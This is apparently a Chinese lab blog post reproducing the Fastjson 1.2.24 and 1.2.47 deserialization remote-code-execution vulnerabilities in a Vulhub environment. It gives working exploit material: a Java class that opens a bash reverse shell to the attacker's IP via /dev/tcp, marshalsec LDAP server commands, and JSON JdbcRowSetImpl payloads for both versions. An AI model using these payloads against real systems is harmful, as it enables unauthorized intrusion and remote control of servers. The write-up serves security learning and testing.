Vulfocus-fastjson复现

Fastjson版本:1.2.24和1.2.47

准备环境:Vulhub
靶机地址:192.168.30.129(kali)
攻击机:192.168.1.43(win10)

开始

启动环境:

docker-compose up -d

查看正在运行中的容器:

docker ps

启动成功后,访问网址:192.168.30.129:8090
下载工具:marshalsec(https://github.com/mbechler/marshalsec)
它的用法:需要 Java 8环境,然后使用 maven将文件夹marshalsec打成可用的jar包。
所以也需要maven环境。
安装好maven后在命令行输入mvn -v,显示maven的版本说明安装成功。
在marshalsec目录下进入命令行,输入命令:

mvn clean package -DskipTests

打包成功时页面会出现BIULD SUCCESS!

现在在攻击机(win10)上开启监听:

ncat -lvvp 6666

编译文件test.java

// bash -i >& /dev/tcp/192.168.1.43/6666 0>&1    这里的ip是攻击机的IP,以及监听的端口6666
import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.1.43/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译test.java,输入命令:

javac test.java

(记得把中文注释去掉,不然会报错)

得到test.class

然后用攻击机搭建临时的http服务,这里用的是python2

python -m SimpleHTTPServer 8445

在浏览器访问http://192.168.1.43:8445,页面会显示攻击机的文件树
在这里插入图片描述
现在在攻击机启动LDAP服务,监听1389端口,并加载刚刚编译好的test.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.43:8445/#test" 1389

在这里插入图片描述
最后向靶机(192.168.30.129)发送构造好的poc数据
记得将GET改成POST
// 1.2.24版本poc
{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://192.168.1.43:1389/test”,
“autoCommit”:true
}
}
在这里插入图片描述
成功反弹shell
在这里插入图片描述

//1.2.47版本POC
{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://192.168.1.43:1389/test”,
“autoCommit”:true
}
}
在这里插入图片描述
同样反弹成功
希望这篇文章对你有所帮助。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值